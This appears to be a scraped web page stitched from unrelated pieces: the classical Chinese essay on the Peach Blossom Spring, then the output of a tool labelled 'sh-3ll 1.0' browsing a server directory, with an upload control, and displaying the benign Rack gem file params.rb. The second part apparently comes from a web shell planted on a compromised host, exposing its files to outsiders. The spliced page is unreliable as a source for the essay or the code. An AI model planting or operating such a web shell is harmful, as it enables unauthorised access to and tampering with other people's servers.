晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby22/lib64/ruby/gems/2.2.0/gems/rack-1.6.4/lib/rack/auth/digest/
Upload File :
Current File : //opt/alt/ruby22/lib64/ruby/gems/2.2.0/gems/rack-1.6.4/lib/rack/auth/digest/params.rb
module Rack
  module Auth
    module Digest
      class Params < Hash

        def self.parse(str)
          Params[*split_header_value(str).map do |param|
            k, v = param.split('=', 2)
            [k, dequote(v)]
          end.flatten]
        end

        def self.dequote(str) # From WEBrick::HTTPUtils
          ret = (/\A"(.*)"\Z/ =~ str) ? $1 : str.dup
          ret.gsub!(/\\(.)/, "\\1")
          ret
        end

        def self.split_header_value(str)
          str.scan( /(\w+\=(?:"[^\"]+"|[^,]+))/n ).collect{ |v| v[0] }
        end

        def initialize
          super()

          yield self if block_given?
        end

        def [](k)
          super k.to_s
        end

        def []=(k, v)
          super k.to_s, v.to_s
        end

        UNQUOTED = ['nc', 'stale']

        def to_s
          map do |k, v|
            "#{k}=" + (UNQUOTED.include?(k) ? v.to_s : quote(v))
          end.join(', ')
        end

        def quote(str) # From WEBrick::HTTPUtils
          '"' << str.gsub(/[\\\"]/o, "\\\1") << '"'
        end

      end
    end
  end
end